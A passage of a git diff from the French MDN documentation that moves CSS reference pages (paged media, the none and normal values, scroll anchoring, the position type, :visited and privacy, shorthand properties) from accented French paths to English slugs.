+
+ +

Autres

+ +
+
    +
  • {{Cssxref("-moz-alt-content")}} {{Bug("11011")}}
    • +
+
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/m\303\251dia_pagin\303\251s/index.html" "b/files/fr/web/css/m\303\251dia_pagin\303\251s/index.html" deleted file mode 100644 index 9d114b8e9b..0000000000 --- "a/files/fr/web/css/m\303\251dia_pagin\303\251s/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Médias paginés -slug: Web/CSS/Média_paginés -tags: - - CSS - - Reference -translation_of: Web/CSS/Paged_Media ---- -
{{CSSRef}}
- -

Les propriétés des médias paginés contrôlent la présentation du contenu imprimable ou de tout autre média dont le contenu est divisé en pages individuelles. Elles permettent de définir des sauts de page, de contrôler la zone d'impression, de donner des styles différents aux pages gauche et droite et de contrôler l'application des césures à l'intérieur des éléments. Voici quelques-unes des propriétés supportées les plus fréquemment utilisées :

- -
    -
  • {{cssxref("page-break-before")}}
    • -
  • {{cssxref("page-break-after")}}
    • -
  • {{cssxref("page-break-inside")}}
    • -
  • {{cssxref("orphans")}}
    • -
  • {{cssxref("widows")}}
    • -
  • {{cssxref("@page")}}
    • -
diff --git a/files/fr/web/css/none/index.html b/files/fr/web/css/none/index.html deleted file mode 100644 index 471bfdc5af..0000000000 --- a/files/fr/web/css/none/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: none -slug: Web/CSS/none -tags: - - CSS - - Référence CSS -translation_of: Web/CSS/float -translation_of_original: Web/CSS/none ---- -

{{ CSSRef() }}

-

Résumé

-

none est une valeur commune pour la plupart des propriétés CSS et souvent c'est la valeur par défaut. On peut la comparer à la valeur {{ Cssxref("normal") }} qui peut être utilisée de manière similaire pour d'autres propriétés.

-

Utilisation

-
- Cette liste n'est pas exhaustive et les propriétés qui ne sont pas encore supportées par les différents navigateurs ne sont pas incluses.
-
    -
  • {{ Cssxref("animation-name") }}
    • -
  • {{ Cssxref("background-image") }}
    • -
  • {{ Cssxref("border-style") }} ({{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-right-style") }} et {{ Cssxref("border-top-style") }}
    • -
  • {{ Cssxref("clear") }}
    • -
  • {{ Cssxref("content") }}
    • -
  • {{ Cssxref("display") }}
    • -
  • {{ Cssxref("float") }}
    • -
  • {{ Cssxref("font-size-adjust") }}
    • -
  • {{ Cssxref("list-style-image") }}
    • -
  • {{ Cssxref("list-style-type") }}
    • -
  • {{ Cssxref("max-height") }}
    • -
  • {{ Cssxref("max-width") }}
    • -
  • {{ Cssxref("outline-style") }}
    • -
  • {{ Cssxref("quotes") }}
    • -
  • {{ Cssxref("resize") }}
    • -
  • {{ Cssxref("text-decoration") }}
    • -
  • {{ Cssxref("text-transform") }}
    • -
-

Extensions Mozilla :

-
    -
  • {{ Cssxref("-moz-transform") }}
    • -
  • {{ Cssxref("-moz-transition-property") }}
    • -
  • {{ Cssxref("-moz-text-blink") }}
    • -
  • {{ Cssxref("-moz-user-input") }}
    • -
  • {{ Cssxref("-moz-user-select") }}
    • -
  • {{ Cssxref("-moz-window-shadow") }}
    • -
diff --git a/files/fr/web/css/normal/index.html b/files/fr/web/css/normal/index.html deleted file mode 100644 index 5b611f0369..0000000000 --- a/files/fr/web/css/normal/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: normal -slug: Web/CSS/normal -tags: - - CSS - - Référence CSS -translation_of: Web/CSS/font-variant -translation_of_original: Web/CSS/normal ---- -

{{ CSSRef() }}

-

Résumé

-

normal est une valeur commune pour certaines propriétés CSS et souvent c'est la valeur par défaut. On peut la comparer à la valeur {{ Cssxref("none") }} qui peut être utilisée de manière similaire pour d'autres propriétés.

-

Utilisation

-
- Cette liste n'est pas exhaustive et les propriétés qui ne sont pas encore supportées par les différents navigateurs ne sont pas incluses.
-
    -
  • {{ Cssxref("animation-direction") }}
    • -
  • {{ Cssxref("content") }}
    • -
  • {{ Cssxref("counter-increment") }}
    • -
  • {{ Cssxref("counter-reset") }}
    • -
  • {{ Cssxref("font-style") }}
    • -
  • {{ Cssxref("font-variant") }}
    • -
  • {{ Cssxref("font-weight") }}
    • -
  • {{ Cssxref("letter-spacing") }}
    • -
  • {{ Cssxref("white-space") }}
    • -
  • {{ Cssxref("word-spacing") }}
    • -
  • {{ Cssxref("word-wrap") }}
    • -
-

Extensions Mozilla :

-
    -
  • {{ Cssxref("-moz-appearance") }}
    • -
  • {{ Cssxref("-moz-box-direction") }}
    • -
  • {{ Cssxref("-moz-column-gap") }}
    • -
  • {{ Cssxref("-moz-column-rule-width") }}
    • -
-

{{ languages( { "en": "en/CSS/normal", "es": "es/CSS/normal" } ) }}

diff --git "a/files/fr/web/css/outils/g\303\251n\303\251rateur_de_courbe_de_b\303\251zier/index.html" "b/files/fr/web/css/outils/g\303\251n\303\251rateur_de_courbe_de_b\303\251zier/index.html" deleted file mode 100644 index 6a4671d141..0000000000 --- "a/files/fr/web/css/outils/g\303\251n\303\251rateur_de_courbe_de_b\303\251zier/index.html" +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Générateur de courbe de Bézier -slug: Web/CSS/Outils/Générateur_de_courbe_de_Bézier -tags: - - CSS - - Outils -translation_of: Web/CSS/Tools/Cubic_Bezier_Generator ---- -

{{Draft}}

- -
-

Note : Cette page n'est pas complète, l'outil doit être finalisé sur la version anglaise.

-
diff --git "a/files/fr/web/css/outils/g\303\251n\303\251rateur_de_d\303\251grad\303\251s_lin\303\251aires/index.html" "b/files/fr/web/css/outils/g\303\251n\303\251rateur_de_d\303\251grad\303\251s_lin\303\251aires/index.html" deleted file mode 100644 index ae2340fd73..0000000000 --- "a/files/fr/web/css/outils/g\303\251n\303\251rateur_de_d\303\251grad\303\251s_lin\303\251aires/index.html" +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Générateur de dégradés linéaires -slug: Web/CSS/Outils/Générateur_de_dégradés_linéaires -tags: - - CSS - - Outils -translation_of: Web/CSS/Tools/Linear-gradient_Generator ---- -

{{Draft}}

- -
-

Note : Cette page n'est pas complète, l'outil doit être finalisé sur la version anglaise.

-
diff --git a/files/fr/web/css/outils/index.html b/files/fr/web/css/outils/index.html deleted file mode 100644 index ac78261ad4..0000000000 --- a/files/fr/web/css/outils/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Outils -slug: Web/CSS/Outils -tags: - - CSS - - Outils -translation_of: Web/CSS/Tools ---- -

CSS fournit de nombreuses fonctionnalités qui peuvent être paramétrées avec différents facteurs. Il est donc utile de pouvoir visualiser ces paramètres lorsqu'on manipule ces propriétés. Cette page indique différents outils qui pourront vous être utiles lorsque vous construirez vos feuilles de style avec ces fonctionnalités.

- -

{{LandingPageListSubpages}}

- -

Autres outils

- -
    -
  • Stylie pour les animations
    • -
  • Connaître les informations d'affichage d'un appareil (utile pour la conception de sites adaptatifs) : mydevice.io
    • -
  • Construire des menus CSS - cssmenumaker.com
    • -
  • Un linter CSS qui permet de respecter des conventions homogènes et d'éviter des erreurs dans les feuilles de style - stylelint
    • -
diff --git "a/files/fr/web/css/overflow-anchor/guide_ancrage_d\303\251filement/index.html" "b/files/fr/web/css/overflow-anchor/guide_ancrage_d\303\251filement/index.html" deleted file mode 100644 index e50bb21aa3..0000000000 --- "a/files/fr/web/css/overflow-anchor/guide_ancrage_d\303\251filement/index.html" +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 'Guide : ancrage du défilement (scroll anchoring)' -slug: Web/CSS/overflow-anchor/Guide_ancrage_défilement -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/overflow-anchor/Guide_to_scroll_anchoring ---- -
{{CSSRef}}
- -

Lorsque vous naviguez sur le Web avec une connexion plus ou moins performante, vous avez déjà pu rencontrer le problème suivant : vous faites défiler verticalement le contenu d'une page qui est en cours de chargement puis, au milieu de votre lecture, le contenu se décale brutalement plus bas (parce que des images au-dessus ou d'autres éléments ont fini de charger et s'affichent enfin).

- -

L'ancrage du défilement (ou scroll anchoring en anglais) est une fonctionnalité des navigateurs qui vise à résoudre ce problème de « saut » (qui se produit lorsque l'utilisateur a déjà suffisamment fait défiler le contenu pour arriver sur une autre partie du document).

- -

Comment cela fonctionne ?

- -

L'ancrage du défilement ajuste la position du défilement pour compenser les modification apportées en dehors de la zone d'affichage (viewport). Cela signifie que l'emplacement atteint par l'utilisateur reste dans la zone d'affichage (la position de défilement se retrouve donc implicitement modifiée en termes de distance parcourue sur le document).

- -

Comment activer l'ancrage du défilement ?

- -

Il n'y a rien à fait. Cette fonctionnalité est activée par défaut pour les navigateurs qui la prennent en charge. Dans la plupart des cas, ces sauts inattendus ne sont pas une expérience voulue.

- -

Si besoin, que faire pour le désactiver ?

- -

La spécification fournit une nouvelle propriété : {{cssxref("overflow-anchor")}}. Celle-ci peut être utilisée pour désactiver explicitement l'ancrage du défilement sur une partie ou sur l'ensemble du document. Cette propriété sert de mécanisme pour ne pas utiliser le nouveau comportement.

- -

Les valeurs utilisables pour cette propriété sont auto ou none :

- -
    -
  • auto correspond à la valeur initiale : si c'est un navigateur compatible qui est utilisé, l'ancrage est activé et il devrait y avoir moins de déplacements brusques.
    • -
  • none signifie qu'on choisit explicitement de ne pas utiliser l'ancrage du défilement pour tout ou partie du document.
    • -
- -

Pour désactiver l'ancrage sur l'ensemble du document, on pourra appliquer la propriété sur l'élément {{htmlelement("body")}} :

- -
body {
-  overflow-anchor: none;
-}
- -

Pour désactiver cette fonctionnalité sur une certaine partie du document, on ciblera overflow-anchor: none sur l'élément conteneur dans lequel l'utilisateur fait défiler le contenu :

- -
.container {
-  overflow-anchor: none;
-}
- -
-

Note : Dans la spécification, il est indiqué qu'il n'est pas possible de « revenir » avec l'ancrage dans un élément fils si l'ancrage a été désactivé sur un élément parent. Ainsi, si on désactive l'ancrage pour l'ensemble du document, on ne pourra pas appliquer (avec succès) overflow-anchor: auto à un autre endroit du document.

-
- -

Supression triggers

- -

La spécification définit également certains évènements qui suppriment cette fonctionnalité où ça serait problématique. Si un évènement particulier se produit sur le nœud d'ancrage ou sur un ancêtre de celui-ci, l'ancrage est supprimé.

- -

Les évènements en question sont les modifications des valeurs calculées des propriétés suivantes :

- -
    -
  • {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} ou {{cssxref("bottom")}}
    • -
  • {{cssxref("margin")}} ou {{cssxref("padding")}}
    • -
  • Toute propriété relative à {{cssxref("width")}} ou à {{cssxref("height")}}
    • -
  • {{cssxref("position")}}
    • -
  • {{cssxref("transform")}}
    • -
- -

Compatibilité des navigateurs

- -

Si vous souhaitez appliquer une amélioration progressive et détecter si cette fonctionnalité est disponible dans le navigateur utilisé, vous pouvez utiliser les requêtes de fonctionnalité afin de tester la prise en charge de la propriété overflow-anchor.

- - - -

{{Compat("css.properties.overflow-anchor")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.html b/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.html new file mode 100644 index 0000000000..e50bb21aa3 --- /dev/null +++ b/files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.html @@ -0,0 +1,79 @@ +--- +title: 'Guide : ancrage du défilement (scroll anchoring)' +slug: Web/CSS/overflow-anchor/Guide_ancrage_défilement +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/overflow-anchor/Guide_to_scroll_anchoring +--- +
{{CSSRef}}
+ +

Lorsque vous naviguez sur le Web avec une connexion plus ou moins performante, vous avez déjà pu rencontrer le problème suivant : vous faites défiler verticalement le contenu d'une page qui est en cours de chargement puis, au milieu de votre lecture, le contenu se décale brutalement plus bas (parce que des images au-dessus ou d'autres éléments ont fini de charger et s'affichent enfin).

+ +

L'ancrage du défilement (ou scroll anchoring en anglais) est une fonctionnalité des navigateurs qui vise à résoudre ce problème de « saut » (qui se produit lorsque l'utilisateur a déjà suffisamment fait défiler le contenu pour arriver sur une autre partie du document).

+ +

Comment cela fonctionne ?

+ +

L'ancrage du défilement ajuste la position du défilement pour compenser les modification apportées en dehors de la zone d'affichage (viewport). Cela signifie que l'emplacement atteint par l'utilisateur reste dans la zone d'affichage (la position de défilement se retrouve donc implicitement modifiée en termes de distance parcourue sur le document).

+ +

Comment activer l'ancrage du défilement ?

+ +

Il n'y a rien à fait. Cette fonctionnalité est activée par défaut pour les navigateurs qui la prennent en charge. Dans la plupart des cas, ces sauts inattendus ne sont pas une expérience voulue.

+ +

Si besoin, que faire pour le désactiver ?

+ +

La spécification fournit une nouvelle propriété : {{cssxref("overflow-anchor")}}. Celle-ci peut être utilisée pour désactiver explicitement l'ancrage du défilement sur une partie ou sur l'ensemble du document. Cette propriété sert de mécanisme pour ne pas utiliser le nouveau comportement.

+ +

Les valeurs utilisables pour cette propriété sont auto ou none :

+ +
    +
  • auto correspond à la valeur initiale : si c'est un navigateur compatible qui est utilisé, l'ancrage est activé et il devrait y avoir moins de déplacements brusques.
    • +
  • none signifie qu'on choisit explicitement de ne pas utiliser l'ancrage du défilement pour tout ou partie du document.
    • +
+ +

Pour désactiver l'ancrage sur l'ensemble du document, on pourra appliquer la propriété sur l'élément {{htmlelement("body")}} :

+ +
body {
+  overflow-anchor: none;
+}
+ +

Pour désactiver cette fonctionnalité sur une certaine partie du document, on ciblera overflow-anchor: none sur l'élément conteneur dans lequel l'utilisateur fait défiler le contenu :

+ +
.container {
+  overflow-anchor: none;
+}
+ +
+

Note : Dans la spécification, il est indiqué qu'il n'est pas possible de « revenir » avec l'ancrage dans un élément fils si l'ancrage a été désactivé sur un élément parent. Ainsi, si on désactive l'ancrage pour l'ensemble du document, on ne pourra pas appliquer (avec succès) overflow-anchor: auto à un autre endroit du document.

+
+ +

Supression triggers

+ +

La spécification définit également certains évènements qui suppriment cette fonctionnalité où ça serait problématique. Si un évènement particulier se produit sur le nœud d'ancrage ou sur un ancêtre de celui-ci, l'ancrage est supprimé.

+ +

Les évènements en question sont les modifications des valeurs calculées des propriétés suivantes :

+ +
    +
  • {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} ou {{cssxref("bottom")}}
    • +
  • {{cssxref("margin")}} ou {{cssxref("padding")}}
    • +
  • Toute propriété relative à {{cssxref("width")}} ou à {{cssxref("height")}}
    • +
  • {{cssxref("position")}}
    • +
  • {{cssxref("transform")}}
    • +
+ +

Compatibilité des navigateurs

+ +

Si vous souhaitez appliquer une amélioration progressive et détecter si cette fonctionnalité est disponible dans le navigateur utilisé, vous pouvez utiliser les requêtes de fonctionnalité afin de tester la prise en charge de la propriété overflow-anchor.

+ + + +

{{Compat("css.properties.overflow-anchor")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/paged_media/index.html b/files/fr/web/css/paged_media/index.html new file mode 100644 index 0000000000..9d114b8e9b --- /dev/null +++ b/files/fr/web/css/paged_media/index.html @@ -0,0 +1,20 @@ +--- +title: Médias paginés +slug: Web/CSS/Média_paginés +tags: + - CSS + - Reference +translation_of: Web/CSS/Paged_Media +--- +
{{CSSRef}}
+ +

Les propriétés des médias paginés contrôlent la présentation du contenu imprimable ou de tout autre média dont le contenu est divisé en pages individuelles. Elles permettent de définir des sauts de page, de contrôler la zone d'impression, de donner des styles différents aux pages gauche et droite et de contrôler l'application des césures à l'intérieur des éléments. Voici quelques-unes des propriétés supportées les plus fréquemment utilisées :

+ +
    +
  • {{cssxref("page-break-before")}}
    • +
  • {{cssxref("page-break-after")}}
    • +
  • {{cssxref("page-break-inside")}}
    • +
  • {{cssxref("orphans")}}
    • +
  • {{cssxref("widows")}}
    • +
  • {{cssxref("@page")}}
    • +
diff --git a/files/fr/web/css/position_value/index.html b/files/fr/web/css/position_value/index.html new file mode 100644 index 0000000000..03ddd68285 --- /dev/null +++ b/files/fr/web/css/position_value/index.html @@ -0,0 +1,129 @@ +--- +title: +slug: Web/CSS/Type_position +tags: + - CSS + - Reference + - Type +translation_of: Web/CSS/position_value +--- +
{{CSSRef}}
+ +

Le type de donnée CSS <position> définit une paire de coordonnées dans l'espace (bidimensionnel) afin de définir la position relative d'une boîte. La position finale obtenue, décrite par la valeur <position>, n'est pas nécessairement située à l'intérieur de la boîte de l'élément. Ce type de donnée est notamment utilisé avec la propriété {{cssxref("background-position")}}.

+ +

Syntaxe

+ +

On peut définir un emplacement grâce à deux mots-clés avec chacun un décalage par rapport au côté correspondant à ce mot-clé. Un mot-clé représente un côté de la boîte ou la ligne du centre située entre les deux bords. Ce mot-clé sera left, right, top, bottom ou center (ce dernier représente le milieu entre les côtés droit et gauche ou le milieu entre les côtés haut et bas selon le contexte).

+ +

Le décalage peut être une valeur relative, exprimée en pourcentages (valeur de type {{cssxref("<percentage>")}} ou une valeur absolue. Les valeurs positives décalent vers la droite ou vers le bas. Les valeurs négatives décalent dans l'autre sens (vers la gauche ou vers le haut).

+ +

Si un seul décalage est indiqué, ce sera le décalage horizontal. Lorsqu'un seul décalage ou mot-clé est utilisé, la valeur par défaut pour l'autre axe est center.

+ +

Valeurs

+ +
/* Syntaxe avec une valeur */
+mot-clé                  /* Le côté depuis lequel décaler, on centrera sur l'autre axe*/
+<length> ou <percentage> /* La position sur l'axe */
+
+/* Syntaxe avec deux valeurs */
+mot-clé mot-clé          /* Un mot-clé pour chaque direction, l'ordre n'est pas important */
+mot-clé valeur           /* La valeur indique le décalage par rapport au côté indiqué par le mot-clé */
+valeur mot-clé           /* Une valeur pour le décalage horizontal et un mot-clé pour le décalage vertical */
+valeur valeur            /* Une valeur pour chaque composante du décalage */
+
+/* Syntaxe avec quatre valeurs */
+mot-clé valeur mot-clé valeur /* Chaque valeur indique le décalage par rapport au mot-clé qui le précède */
+
+ +

Syntaxe formelle

+ +
[
+ [ left | center | right ] || [ top | center | bottom ]
+|
+ [ left | center | right | <length> | <percentage> ]
+ [ top | center | bottom | <length> | <percentage> ]?
+|
+ [ [ left | right ] [ <length> | <percentage> ] ] &&
+ [ [ top | bottom ] [ <length> | <percentage> ] ]
+]
+
+ +

Interpolation

+ +

Les valeurs des coordonnées en abscisses et en ordonnées sont interpolées indépendamment. La vitesse de l'interpolation est définie par la même fonction de temporisation ({{cssxref("<timing-function>")}}) et le point se déplacera donc sur une ligne.

+ +

Exemples

+ +

CSS

+ +
div {
+  background-color: #FFEE99;
+  background-repeat: no-repeat;
+  width: 300px;
+  height: 80px;
+  margin-bottom: 12px;
+}
+
+.exemple{
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 no-repeat;
+  // Ici un exemple de valeur <position>
+  background-position:  2.5cm bottom;
+}
+ +

HTML

+ +
<div class="exemple">Exemple</div>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', 120, 200)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Values', '#position', '<position>')}}{{Spec2('CSS3 Values')}}Renvoie aux deux définitions avec la contrainte suivante qui permet d'être cohérent : si {{SpecName('CSS3 Backgrounds')}} est pris en charge, c'est sa définition de  <position> qui doit être utilisée.
{{SpecName('CSS3 Backgrounds', '#position', '<position>')}}{{Spec2('CSS3 Backgrounds')}}<position> est défini de façon explicite et est étendu afin de pouvoir exprimer un décalage depuis n'importe quel côté.
{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '<position>')}}{{Spec2('CSS2.1')}}Autorise la combinaison d'un mot-clé et d'une valeur {{cssxref("<length>")}} ou {{cssxref("<percentage>")}}.
{{SpecName('CSS1', '#background-position', '<position>')}}{{Spec2('CSS1')}}<position> est défini de façon anonyme comme valeur de {{cssxref("background-position")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.types.position")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/privacy_and_the__colon_visited_selector/index.html b/files/fr/web/css/privacy_and_the__colon_visited_selector/index.html new file mode 100644 index 0000000000..5f5a3655e8 --- /dev/null +++ b/files/fr/web/css/privacy_and_the__colon_visited_selector/index.html @@ -0,0 +1,73 @@ +--- +title: 'Le sélecteur :visited et la vie privée' +slug: 'Web/CSS/:visited_et_la_vie_privée' +tags: + - CSS + - Guide + - Sécurité +translation_of: 'Web/CSS/Privacy_and_the_:visited_selector' +--- +
{{CSSRef}}
+ +

Par le passé (avant 2010), le sélecteur CSS {{cssxref(":visited")}} permettait aux sites d'effectuer des requêtes sur l'historique de l'utilisateur grâce à la méthode {{domxref("window.getComputedStyle")}} ou à d'autre techniques, parcourant l'historique de l'utilisateur afin de connaître les sites qu'il avait visité. Cela pouvait effectué rapidement et permettait d'obtenir beaucoup d'informations sur l'identité d'un utilisateur.

+ +

Afin de palier au problème, Gecko ({{Gecko("2")}}) a été modifié afin de limiter la quantité d'informations qui peut être obtenue au travers des liens visités. Les autres navigateurs ont également été modifiés de façon semblable.

+ +

Quelques petits mensonges pour se protéger

+ +

La première modification consiste à faire mentir Gecko envers les applications web sous certaines circonstances. 

+ +
    +
  • window.getComputedStyle() et les fonctions analogues comme {{domxref("element.querySelector()")}} renverront toujours des valeurs indiquant que l'utilisateur n'a jamais visité aucun des liens présents sur une page.
    • +
  • Si on utilise un sélecteur d'élément voisin comme :visited + span, l'élément {{htmlelement("span")}} sera mis en forme comme si le lien n'avait pas été visité.
    • +
  • Enfin, dans quelques rares scénarios, si on utilise des liens imbriqués et que l'élément ciblé par CSS diffère du lien dont on souhaite savoir s'il a été visité, cet élément sera dessiné comme si le lien n'avait pas été visité.
    • +
+ +

Les limites de la mise en forme applicable aux liens visités

+ +

On peut toujours mettre en forme les liens visités mais quelques limites s'appliquent désormais. Seule les propriétés suivantes pourront être appliquées aux liens visités :

+ +
    +
  • {{cssxref("color")}},
    • +
  • {{cssxref("background-color")}},
    • +
  • {{cssxref("border-color")}} (et les propriétés détaillées associées),
    • +
  • {{cssxref("column-rule-color")}},
    • +
  • {{cssxref("outline-color")}},
    • +
  • Les composantes de couleur liées aux attributs SVG {{SVGAttr("fill")}} et {{SVGAttr("stroke")}}.
    • +
+ +

De plus, même pour ces propriétés, il n'est pas possible de modifier la transparence entre les liens qui ont été visités et les autres (comme on pourrait le faire par ailleurs avec rgba() ou hsla() ou avec le mot-clé transparent).

+ +

Voici un exemple de mise en forme prenant en compte ces restrictions :

+ +
:link {
+  outline: 1px dotted blue;
+  background-color: white;
+  /* La valeur par défaut de background-color est 'transparent'.
+     et il faut donc une valeur différente, sinon les modifications
+     pour :visited ne s'appliqueront pas. */
+}
+
+:visited {
+  outline-color: orange;     /* Les liens visités auront un contour orange */
+  color: yellow;             /* Le texte des liens visités sera en jaune   */
+  background-color: green;   /* L'arrière-plan des liens visités sera vert */
+}
+
+ +

Impact sur les développeurs web

+ +

De façon générale, cela ne devrait pas impacter les développeurs de façon significative. Il faudra toutefois appliquer les modifications suivantes aux sites :

+ +
    +
  • L'utilisation d'images d'arrière-plan pour la mise en forme des liens visités ne fonctionnera plus car seules les couleurs peuvent être utilisées pour les mettre en avant.
    • +
  • Les couleurs qui seraient transparentes de façon normale ne seront pas affichées si elles participent à la mise en forme d'un sélecteur :visited.
    • +
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/propri\303\251t\303\251s_raccourcies/index.html" "b/files/fr/web/css/propri\303\251t\303\251s_raccourcies/index.html" deleted file mode 100644 index 6c390b9dc8..0000000000 --- "a/files/fr/web/css/propri\303\251t\303\251s_raccourcies/index.html" +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Propriétés raccourcies -slug: Web/CSS/Propriétés_raccourcies -tags: - - CSS - - Guide - - Reference -translation_of: Web/CSS/Shorthand_properties ---- -
{{CSSRef}}
- -

Les propriétés raccourcies sont des propriétés CSS qui permettent de définir la valeur de plusieurs propriétés via une seule déclaration. En manipulant des propriétés raccourcies, un développeur web peut créer des feuilles de style plus concises et plus lisibles, améliorant ainsi la maintenabilité.

- -

La spécification CSS définit les propriétés raccourcies en regroupant la définition des propriétés agissant sur le même aspect de l'élément. Ainsi, la propriété {{cssxref("background")}} est une propriété raccourcie qui permettra de définir {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}} et {{cssxref("background-position")}}. De même, les propriétés fréquemment utilisées pour la mise en forme des polices de caractères (font) peuvent être définies via la propriété raccourcie {{cssxref("font")}} et celles qui concernent la marge avec la propriété raccourcie {{cssxref("margin")}}.

- -

Quelques cas aux limites épineux

- -

Bien que les propriétés raccourcies soient pratiques à utiliser. Il est nécessaire de noter certains éléments pour parer aux cas étranges qui peuvent survenir :

- -
    -
  1. Une valeur qui n'est pas définie pour la propriété raccourcie sera réinitialisée avec sa valeur initiale. Cela peut sembler anecdotique mais attention aux valeurs qui seront surchargées et à l'ordre des déclarations. Ainsi : - - 
    background-color: red;
-background: url(images/bg.gif) no-repeat top right;
-
    - ne définira pas la couleur d'arrière-plan en rouge mais avec la valeur par défaut de {{cssxref("background-color")}} transparent car la deuxième déclaration prend le pas sur la première.
    2. -
  2. L'héritage des propriétés ne peut avoir lieu qu'avec les propriétés individuelles . En effet, les valeurs absentes sont remplacées par leurs valeurs initiales et il est donc impossible d'hériter des valeurs en les omettant. Le mot-clé {{cssxref("inherit")}} pourra être appliqué à une propriété mais ce sera sur l'ensemble et non pour une valeur donnée ou une autre. Ainsi, pour utiliser une valeur héritée sur une propriété spécifique, il faudra utiliser cette propriété « longue » avec le mot-clé inherit.
    3. -
  3. Les propriétés raccourcies n'ont pas d'ordre spécifique pour trier les valeurs des propriétés détaillées qu'elles remplacent. Cela fonctionne sans problème lorsque les différentes propriétés utilisent différents types de valeurs car l'ordre n'a alors aucune importance. Toutefois, lorsque les différentes propriétés peuvent prendre les mêmes valeurs, cela n'est pas si simple. On peut regrouper les différents cas en deux catégories distinctes : -
      -
    1. Les propriétés raccourcies qui gèrent les bords d'une boîte telles que {{cssxref("border-style")}}, {{cssxref("margin")}} ou {{cssxref("padding")}}. Elles utilisent une méthode constante selon qu'elles reçoivent 1 à 4 valeurs : - - - - - - - - - - - - - - - - - - - -
      border1.png1 valeur : border-width: 1em — La valeur unique s'adresse à tous les côtés.
      border2.png2 valeurs : border-width: 1em 2em — La première valeur représente les côtés horizontaux en haut et en bas. La seconde valeur représente les côtés verticaux, à gauche et à droite.
      border3.png3 valeurs : border-width: 1em 2em 3em — La première valeur représente le côté haut, la deuxième les côtés gauche et droit et la troisième représente le côté bas.
      border4.png -

      4 valeurs : border-width: 1em 2em 3em 4em — Les quatre valeurs représentent respectivement le côté haut, le côté droit, le côté bas et le côté haut, toujours dans cet ordre (le sens horaire).

      -
      -
      2. -
    2. De la même façon, les propriétés raccourcies relatives aux coins d'une boîte comme {{cssxref("border-radius")}} utilisent une méthode constante selon qu'elles reçoivent 1 à 4 valeurs : - - - - - - - - - - - - - - - - - - - -
      corner1.png1 valeur : border-radius: 1em — La valeur s'applique à tous les coins.
      corner2.png2 valeurs : border-radius: 1em 2em — La première valeur s'applique aux coins en haut à gauche et en bas à droite et la deuxième s'applique aux coins en haut à droite et en bas à gauche.
      corner3.png3 valeurs : border-radius: 1em 2em 3em — La première valeur représente le coin en haut à gauche, la deuxième représente les coins en haut à droite et en bas à gauche et la troisième valeur représente le coin en bas à droite.
      corner4.png -

      4 valeurs : border-radius: 1em 2em 3em 4em — Les quatre valeurs s'appliquent respectivement au coin en haut à gauche, en haut à droite, en bas à droite et en bas à gauche, toujours dans cet ordre (le sens horaire).

      -
      -
      3. -
    -
    4. -
- -

Les propriétés concernant l'arrière-plan

- -

Lorsqu'on décrit un arrière-plan avec les propriétés suivantes :

- -
background-color: #000;
-background-image: url(images/bg.gif);
-background-repeat: no-repeat;
-background-position: top right;
- -

On peut le faire de façon plus concise grâce à la propriété raccourcie. Voici la déclaration équivalent :

- -
background: #000 url(images/bg.gif) no-repeat top right;
- -
-

Note : Pour être tout à fait précis, la forme raccourcie présentée juste avant est équivalente aux propriétés détaillées qui précèdent auxquelles on ajoute background-attachment: scroll et d'autres propriétés avec CSS3).

-
- -

Pour plus d'informations, voir {{cssxref("background")}}.

- -

Les propriétés liées à la police (font)

- -

Les déclarations suivantes :

- -
font-style: italic;
-font-weight: bold;
-font-size: .8em;
-line-height: 1.2;
-font-family: Arial, sans-serif;
- -

Peuvent être synthétisées en une seule déclaration avec la propriété raccourcie :

- -
font: italic bold .8em/1.2 Arial, sans-serif;
- -
-

Note : Pour être tout à fait précis, la déclaration raccourcie précédente est équivalente aux déclarations détaillées ci-avant auxquelles on ajoutera font-variant: normal et font-size-adjust: none (CSS2.0 / CSS3), font-stretch: normal (CSS3).

-
- -

Les propriétés liées aux bordures

- -

Avec les bordures, la largeur, la couleur et le style peuvent être regroupés en une seule déclaration. Par exemple,

- -
border-width: 1px;
-border-style: solid;
-border-color: #000;
- -

peut être écrit ainsi :

- -
border: 1px solid #000;
- -

Les propriétés liées à la marge et au remplissage (padding)

- -

Les propriétés raccourcies agissant sur la boîte de marge ou sur la boîte de remplissage (padding) fonctionnent de la même façon. Ainsi, les déclarations CSS suivantes :

- -
margin-top: 10px;
-margin-right: 5px;
-margin-bottom: 10px;
-margin-left: 5px;
- -

sont équivalentes à la déclaration qui suit (on notera que les valeurs sont ordonnés dans le sens horaire : haut, droit, bas, gauche ; un moyen mnémotechnique est d'utiliser l'acronyme anglais TRBL qui ressemble à trouble) :

- -
margin: 10px 5px 10px 5px;
- -

La propriété raccourcie universelle

- -

CSS fournit une propriété raccourcie qui permet d'appliquer une même valeur à l'ensemble des propriétés du document : {{cssxref("all")}}.

- -

Voir l'article sur la cascade et l'héritage pour plus d'informations sur le fonctionnement de l'héritage.

- -

Voir aussi

- -
    -
  • La référence CSS
    • -
